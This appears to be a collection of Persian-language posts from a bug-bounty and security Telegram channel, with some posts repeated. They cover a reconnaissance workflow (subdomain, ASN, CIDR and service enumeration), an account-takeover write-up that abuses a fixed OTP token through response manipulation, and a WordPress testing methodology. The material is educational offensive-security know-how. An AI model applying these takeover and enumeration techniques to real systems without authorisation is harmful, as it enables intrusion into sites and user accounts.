1️⃣ Passive enumeration VS active enumeration =
جمع آوری اطلاعات به روش active یعنی خودمون با تارگت در تعامل باشیم. استفاده از این روش باعث log شدن IP ما روی تارگت میشه. استفاده غیر بهینه از این روش میتونه منجر به بلاک شدن IP ما بشه.
در جمع آوری اطلاعات به روش passive از سرویس های واسط استفاده میکنیم و خودمون به صورت مستقیم با تارگت در ارتباط نیستیم.
2️⃣ Reverse DNS Lookup =
به تبدیل IP به Hostname گفته میشود. برای تبدیل range IP به Hostname از ابزار hakrevdns استفاده میکنیم.
3️⃣ DNS Lookup =
به فرایند تبدیل Hostname به IP گفته میشود. میتونیم با dnsx اینکارو انجام بدیم.
4️⃣ Reverse MX Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Mail server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
5️⃣ Reverse NS Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Name Server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
6️⃣ Reverse DMARC Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از DMARC مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
7️⃣ DNS Brute Force =
یه روش active برای subdomain enumeration هست. از DNS resolution استفاده میکنه و هر subdomain که حداقل به یک IP مپ بشه رو بهمون نشون میده. مثلا برای subtest1.target.com یک درخواست DNS ارسال میکنه و اگه جوابی برگشت اونو به عنوان subdomain فعال در نظر میگیره. میتونیم از این ابزار برای DNS Brute Force استفاده کنیم.
8️⃣ Google Dork - Copyright =
در پایین هر صفحه ی وب یک copyright مشخص شده است که به متعلق بودن به کمپانی خاصی اشاره دارد. مثل این مورد :
با سرچ کردن این مورد در گوگل میتونیم سایر Subdomain و Domain هایی که از این copyright استفاده کردن رو به دست بیاریم.
#information_gathering
طبق این mind map میتونیم External Information Gathering رو انجام بدیم.
اهداف :
1️⃣ Subdomain Enumeration
2️⃣ Domain Enumeration
3️⃣ IP Enumeration
4️⃣ ASN Enumeration
5️⃣ CIDR Enumeration
6️⃣ Name Server Enumeration
7️⃣ Mail Server Enumeration
8️⃣ Service Enumeration
معرفی تکنیک ها :
1️⃣ Passive enumeration VS active enumeration =
جمع آوری اطلاعات به روش active یعنی خودمون با تارگت در تعامل باشیم. استفاده از این روش باعث log شدن IP ما روی تارگت میشه. استفاده غیر بهینه از این روش میتونه منجر به بلاک شدن IP ما بشه.
در جمع آوری اطلاعات به روش passive از سرویس های واسط استفاده میکنیم و خودمون به صورت مستقیم با تارگت در ارتباط نیستیم.
2️⃣ Reverse DNS Lookup =
به تبدیل IP به Hostname گفته میشود. برای تبدیل range IP به Hostname از ابزار hakrevdns استفاده میکنیم.
3️⃣ DNS Lookup =
به فرایند تبدیل Hostname به IP گفته میشود. میتونیم با dnsx اینکارو انجام بدیم.
4️⃣ Reverse MX Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Mail server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
5️⃣ Reverse NS Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از Name Server مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
6️⃣ Reverse DMARC Lookup =
یه تکنیک که میتونیم باهاش همه ی سرور هایی که از DMARC مشخصی استفاده میکنن رو پیدا کنیم. میتونیم با این وب سایت اینکارو انجام بدیم.
7️⃣ DNS Brute Force =
یه روش active برای subdomain enumeration هست. از DNS resolution استفاده میکنه و هر subdomain که حداقل به یک IP مپ بشه رو بهمون نشون میده. مثلا برای subtest1.target.com یک درخواست DNS ارسال میکنه و اگه جوابی برگشت اونو به عنوان subdomain فعال در نظر میگیره. میتونیم از این ابزار برای DNS Brute Force استفاده کنیم.
8️⃣ Google Dork - Copyright =
در پایین هر صفحه ی وب یک copyright مشخص شده است که به متعلق بودن به کمپانی خاصی اشاره دارد. مثل این مورد :
Copyright © 2025 Dell Inc.
با سرچ کردن این مورد در گوگل میتونیم سایر Subdomain و Domain هایی که از این copyright استفاده کردن رو به دست بیاریم.
#information_gathering
app.xmind.com
External Information Gathering | Xmind
vu***********@*****.com shared a mind map in Xmind. Open and join now!
🔥15❤2👍1
9️⃣ ASN Enumeration =
بعد از جمع آوری IP های تارگت، با دستور whois زیر میتونیم ASN هر آیپی رو به دست بیاریم:
🔟 CIDR Enumeration =
بعد از جمع آوری ASN ها، میتونیم با ابزار asnmap همه ی ASN هارو به CIDR تبدیل کنیم.
1️⃣1️⃣ IP Enumeration =
میتونیم با انجام DNS Lookup روی همه ی Subdomain ها IP به دست بیاریم.
اگر بخوایم خیلی رو این موضوع دیپ بشیم باید همه ی CIDR هارو به IP تبدیل کنیم که میتونیم با ابزار mapcidr اینکارو انجام بدیم.
1️⃣2️⃣ Cloud Enumeration =
وب سایت http://kaeferjaeger.gay/?dir=sni-ip-ranges همه ی Range IP های Cloud های معروف مثل amazon و Microsoft رو اسکن میکنه و هر Subdomainی بهشون متصل باشه رو نمایش میده. میتونیم از این سرویس برای Subdomain Enumeration استفاده کنیم.
1️⃣3️⃣ Subdomain Enumeration via CSP response header =
ممکنه سایر Subdomain های تارگت تو هدر CSP به عنوان Whitelist تعریف شده باشن. میتونیم CSP هدر هارو با ابزار httpx به دست بیاریم.
1️⃣4️⃣ Subdomain Enumeration via Cname record =
ممکنه بعضی از Subdomain های تارگت به عنوان cname در سایر Subdomain ها تعریف شده باشند. با ابزار dnsx میتونیم همه ی cname های Subdomain های موجود رو به دست بیاریم.
1️⃣5️⃣ TLS Certificate Search =
هر TLS Certificate میتونه مواردی مثل Common name داشته باشه که نشون میده این Certificate برای چه دامنه ای صادر شده. میتونیم با ابزار tlsx همه ی IPهایی که داریم رو اسکن کنیم و Subdomain های جدیدی از فیلد common name درون Certificate به دست بیاریم.
1️⃣6️⃣ Mail Server Enumeration =
همه ی MX رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از Mail Server ها در تکنیک Reverse MX Lookup استفاده میکنیم.
1️⃣7️⃣ Name Server Enumeration =
همه ی NS رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از name Server ها در تکنیک Reverse NS Lookup استفاده میکنیم.
1️⃣8️⃣ Service Enumeration =
وقتی روی یک Port از یک IP سرویسی نصب شده باشد مثل Apache, FTP, Redis و...... باید این سرویس هارو شناسایی کنیم. برای روش Passive میتونیم از این قسمت shodan استفاده کنیم. برای Active Enumeration اگر هدف ما Web server یا Web service باشد که با پروتکل HTTP کار میکند میتونیم با httpx اینکارو انجام بدیم.
در غیر این صورت برای شناسایی سایر سرویس هایی که HTTP نیستند از nmap استفاده میکنیم.
⚠ نکته : ⚠
1) از ابزار cut-cdn برای فیلتر کردن CDN ها استفاده میکنیم.
2) وقتی روش های Reverse MX/NS Lookup به نتیجه میرسه که تارگت از Mail Server و Name Server های شخصی استفاده کرده باشه.
3) بعد از اتمام همهی مراحل باید بررسی کنیم که دامنه های یافت شده متعلق به تارگت باشن.
4) این mind map باید به صورت بازگشتی کار کنه. برای مثال اگر تنها یک IP یا دامنه جدید به دست آمد، همه ی مراحل بالا دوباره باید تکرار شود.
#information_gathering
بعد از جمع آوری IP های تارگت، با دستور whois زیر میتونیم ASN هر آیپی رو به دست بیاریم:
whois -h whois.cymru.com 8.8.8.8
🔟 CIDR Enumeration =
بعد از جمع آوری ASN ها، میتونیم با ابزار asnmap همه ی ASN هارو به CIDR تبدیل کنیم.
1️⃣1️⃣ IP Enumeration =
میتونیم با انجام DNS Lookup روی همه ی Subdomain ها IP به دست بیاریم.
اگر بخوایم خیلی رو این موضوع دیپ بشیم باید همه ی CIDR هارو به IP تبدیل کنیم که میتونیم با ابزار mapcidr اینکارو انجام بدیم.
1️⃣2️⃣ Cloud Enumeration =
وب سایت http://kaeferjaeger.gay/?dir=sni-ip-ranges همه ی Range IP های Cloud های معروف مثل amazon و Microsoft رو اسکن میکنه و هر Subdomainی بهشون متصل باشه رو نمایش میده. میتونیم از این سرویس برای Subdomain Enumeration استفاده کنیم.
1️⃣3️⃣ Subdomain Enumeration via CSP response header =
ممکنه سایر Subdomain های تارگت تو هدر CSP به عنوان Whitelist تعریف شده باشن. میتونیم CSP هدر هارو با ابزار httpx به دست بیاریم.
1️⃣4️⃣ Subdomain Enumeration via Cname record =
ممکنه بعضی از Subdomain های تارگت به عنوان cname در سایر Subdomain ها تعریف شده باشند. با ابزار dnsx میتونیم همه ی cname های Subdomain های موجود رو به دست بیاریم.
1️⃣5️⃣ TLS Certificate Search =
هر TLS Certificate میتونه مواردی مثل Common name داشته باشه که نشون میده این Certificate برای چه دامنه ای صادر شده. میتونیم با ابزار tlsx همه ی IPهایی که داریم رو اسکن کنیم و Subdomain های جدیدی از فیلد common name درون Certificate به دست بیاریم.
1️⃣6️⃣ Mail Server Enumeration =
همه ی MX رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از Mail Server ها در تکنیک Reverse MX Lookup استفاده میکنیم.
1️⃣7️⃣ Name Server Enumeration =
همه ی NS رکورد های Subdomain و Domain های تارگت رو به دست میاریم. میتونیم از dnsx برای اینکار استفاده کنیم. از name Server ها در تکنیک Reverse NS Lookup استفاده میکنیم.
1️⃣8️⃣ Service Enumeration =
وقتی روی یک Port از یک IP سرویسی نصب شده باشد مثل Apache, FTP, Redis و...... باید این سرویس هارو شناسایی کنیم. برای روش Passive میتونیم از این قسمت shodan استفاده کنیم. برای Active Enumeration اگر هدف ما Web server یا Web service باشد که با پروتکل HTTP کار میکند میتونیم با httpx اینکارو انجام بدیم.
در غیر این صورت برای شناسایی سایر سرویس هایی که HTTP نیستند از nmap استفاده میکنیم.
⚠ نکته : ⚠
1) از ابزار cut-cdn برای فیلتر کردن CDN ها استفاده میکنیم.
2) وقتی روش های Reverse MX/NS Lookup به نتیجه میرسه که تارگت از Mail Server و Name Server های شخصی استفاده کرده باشه.
3) بعد از اتمام همهی مراحل باید بررسی کنیم که دامنه های یافت شده متعلق به تارگت باشن.
4) این mind map باید به صورت بازگشتی کار کنه. برای مثال اگر تنها یک IP یا دامنه جدید به دست آمد، همه ی مراحل بالا دوباره باید تکرار شود.
#information_gathering
GitHub
GitHub - projectdiscovery/asnmap: Go CLI and Library for quickly mapping organization network ranges using ASN information.
Go CLI and Library for quickly mapping organization network ranges using ASN information. - projectdiscovery/asnmap
🔥18❤4
تو چنل InfoSecTube میتونین به وبینار و دوره های رایگانی که قبلا برگذار شدن دسترسی داشته باشین.
https://youtube.com/@infosectube?si=QGRBigqcGVV2-dPM
https://youtube.com/@infosectube?si=QGRBigqcGVV2-dPM
YouTube
InfoSecTube
Unlock the Power of Ethical Hacking: Learn by Hacking
🔒 Looking to master the art of ethical hacking? Welcome to a channel designed to quench your thirst for diving deep into pen-testing without the inevitable headache. With casually explained walk-throughs…
🔒 Looking to master the art of ethical hacking? Welcome to a channel designed to quench your thirst for diving deep into pen-testing without the inevitable headache. With casually explained walk-throughs…
❤12🔥3
رایتاپ Account Takeover با ترکیب Session Fixation و Response Manipulation =
فلوی Login به این صورت بود که با OTP کار میکرد :
1. شماره رو وارد میکردی و یک OTP براش ارسال میشد.
2. همراه با OTP ارسالی توسط کاربر، یک
3. در صورت صحیح بودن، مقدار همون
آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد.
حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار
#Account_Takeover
#Session_Fixation
#Response_Manipulation
فلوی Login به این صورت بود که با OTP کار میکرد :
1. شماره رو وارد میکردی و یک OTP براش ارسال میشد.
2. همراه با OTP ارسالی توسط کاربر، یک
AuthToken هم در Body ارسال میشد.3. در صورت صحیح بودن، مقدار همون
AuthToken در Response در AuthenticationToken قرار میگرفت.{
"AuthenticationToken":"AuthToken Value is here",
"is_Error":"0",
"Message":"Success Message is here"
}
آسیب پذیری که اینجا داریم مفهومش مثل Session Fixation هست ولی روی Token ها. اگر قبل و بعد از لاگین Session کاربر تغییر نکند این آسیب پذیری وجود دارد.
حالا فقط کافیه OTP دلخواه را برای قربانی در نظر بگیریم و Response Manipulation انجام بدیم. باید مقدار
AuthenticationToken قربانی رو برابر با مقدار AuthToken مرحله 2 قرار بدیم و Message و is_Error هم که برای همه ی کاربرا ثابتن.#Account_Takeover
#Session_Fixation
#Response_Manipulation
❤17👍3
متودولوژی تست نفوذ وردپرس =
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
1. با wpscan تارگت رو اسکن کنین و هر آسیب پذیری که نشون میده رو سعی کنین اکسپلویت کنین(میتونه یه misconfig یا یه CVE باشه). حتما apikey رایگانشو از سایتش بگیرین که نتیجش با اسکن خالی فرق میکنه.
2. ممکنه nuclei موردی رو پیدا کنه که wpscan قادر به شناساییش نبوده. پس حتما از Nuclei هم استفاده کنین.
تا اینجا اسکن کلا با ابزار بود. ولی بررسی دستی چطور؟
بخاطر CMS بودن تارگت انجام یه سری کارا میتونه وقت تلف کردن باشه و باید سعی کنیم از وقتمون بهینه استفاده کنیم. این نکات میتونه بهتون کمک کنه :
1. اگه CVEای برای خود وردپرس یا پلاگین های معروفش پیدا نکردین سعی نکنین خودتون باگ جدید پیدا کنین. نمونش تلاش برای دسترسی به پنل ادمین.
2. اگه تارگت از یه پلاگین ناشناخته ای استفاده میکنه سعی کنین روش باگ بزنین. بهتره اون پلاگین رو روی لوکال خودتون بررسی کنین که WAF و..... مزاحمت ایجاد نکنه.
3. کارایی مثل spray and pray کردن 99 درصد مواقع بی نتیجه خواهد بود.
حالا چه جاهایی رو تست کنین(اینارو بدون در نظر گرفتن ورژن وردپرس و پلاگین هاش تست کنین)؟
1. جاهایی که تارگت با یک 3rd party در تعامله مثل درگاه پرداخت! برای مثال میتونین race condition رو تست کنین.
2. قسمت تیکت: هر آسیب پذیری که بلدید رو اینجا تست کنین مثل XSS با PDF و .......
3. rate limit bypass.
4. قسمت آپلود عکس پروفایل.
5. آسیب پذیری های low مثل BLH و browser cache weaknesses و.....
6. پیدا کردن فایل های backup: میتونین از waybackurl استفاده کنین یا خودتون مسیر /wp-content/uploads رو فاز کنین با اکستنشن هایی مثل .zip و....
7. 403 Bypass.
8. فاز روی / : ممکنه فایلی مثل phpinfo.php باز باشه منتها با یه اسم دیگه که با فاز کردن میشه پیداش کرد.
#WordPress
#Methodology
❤33👍7🔥6